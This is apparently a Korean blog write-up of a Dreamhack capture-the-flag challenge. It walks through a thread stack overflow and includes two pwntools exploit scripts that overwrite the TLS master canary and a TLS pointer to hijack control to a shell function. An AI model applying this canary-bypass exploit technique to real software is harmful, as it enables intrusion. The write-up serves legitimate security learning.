https://dreamhack.io/wargame/challenges/359
로그인 | Dreamhack
dreamhack.io
0. 보호기법 확인

- NX bit와 Canary가 켜져있음을 확인할 수 있다.
1. 소스코드 확인
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
- giveshell함수를 이용하여 쉘을 얻는 것임을 추측해볼 수 있다.
- read_bytes함수는 8바이트씩 읽어옴을 알 수 있다.
- thread_routine함수에서 buf를 overflow시킬 수 있음을 확인해볼 수 있다.
2. exploit 설계
- 카나리를 프로세스 실행 도중 받아올 수 있을 것 같아보이지 않아 Master canary를 내가 원하는 글자로 변형시키 exploit시키는 방식을 채택해야할 듯 싶다.
- master canary의 위치는 TLS영역에 있어 gdb를 이용한다면 주소를 계산할 수 있을것이다.
3. offset 계산

- 해당 명령어로 Master Canary의 위치는 fs_base +0x28에 위치함을 알 수 있다
- canary의 위치는 rbp - 0x8에 위치함을 알 수 있다.
- buf의 위치는 rbp - 0x110임을 알 수 있다.

- thread_routine함수에 break를 걸어두고 run을 실행한 뒤 info threads 명령어를 작성하면 현재 thread가 존재함을 확인할 수 있다.

- p/x (unsigned long)($fs_base+0x28) - (unsigned long)($rbp-0x110) 해당 명령어로 buf와 master_canary간의 거리가 0x928임을 확인할 수 있었다.

4. exploit 시도
from pwn import *
p = remote("localhost",7182)
e = ELF("./mc_thread", checksec=False)
BUF_TO_FS_0X28 = 0x928
giveshell = e.sym["giveshell"]
payload = b"A" * 0x108 # buf
payload += b"A" * 0x8 # canary
payload += b"B" * 0x8 # RBP
payload += p64(giveshell)
payload += b"D" * (BUF_TO_FS_0X28 - len(payload))
payload += b"A" * 0x8 # master canary를 canary와 같은 값으로 설정
p.sendlineafter(b"Size: ", str(len(payload) // 8).encode())
p.sendafter(b"Data: ", payload)
p.interactive()
- 하지만 어째서인지 제대로 작동하지 않는다.
- 어느 부분에서 break가 생기는지 gdb를 통해 알아보자.

- $rax + 0x972 부분에서 멈추었음을 확인할 수 있다.
- 이는 offset 을 계산해 보았을 때 fs_base+ 0x10에 위치임을 알 수 있어 해당 위치의 값을 write할 수 있는 주소로만 바꾸어준다면 exploit 가능함을 예상해볼 수 있다.
5. write 가능한 주소 구하기

- gdb에서 해당 명령어로 확인해 보았을 때 0x404000 ~ 0x405000 의 주소범위가 rw-p 임으로 해당 주소를 이용한다면 가능할 것이다.
- fake_tls + 0x972 = writable 주소(0x404300) -> fake_tls = 0x404300 - 0x972
6. 최종 exploit 코드
from pwn import *
p = remote("localhost", 7182)
e = ELF("./mc_thread", checksec=False)
BUF_TO_FS_0X10 = 0x910
BUF_TO_FS_0X28 = 0x928
FAKE_TLS = 0x404100 - 0x972
giveshell = e.sym["giveshell"]
payload = b"A" * 0x108
payload += b"A" * 0x8
payload += b"B" * 0x8
payload += p64(giveshell)
payload += b"C" * (BUF_TO_FS_0X10 - len(payload))
payload += p64(FAKE_TLS)
payload += b"D" * (BUF_TO_FS_0X28 - BUF_TO_FS_0X10 - 8)
payload += b"A" * 0x8
p.sendlineafter(b"Size: ", str(len(payload) // 8).encode())
p.sendafter(b"Data: ", payload)
p.interactive()
'워게임' 카테고리의 다른 글
| [시스템 해킹] rop write-up (0) | 2026.04.13 |
|---|---|
| [시스템 해킹] basic_rop_x64 write-up (0) | 2026.02.12 |
| [시스템 해킹] Tcache Poisoning write-up (0) | 2026.02.10 |
| [시스템 해킹] basic_exploitation_002 write up (0) | 2026.02.07 |
| [시스템 해킹] Return to Library write-up (0) | 2026.02.06 |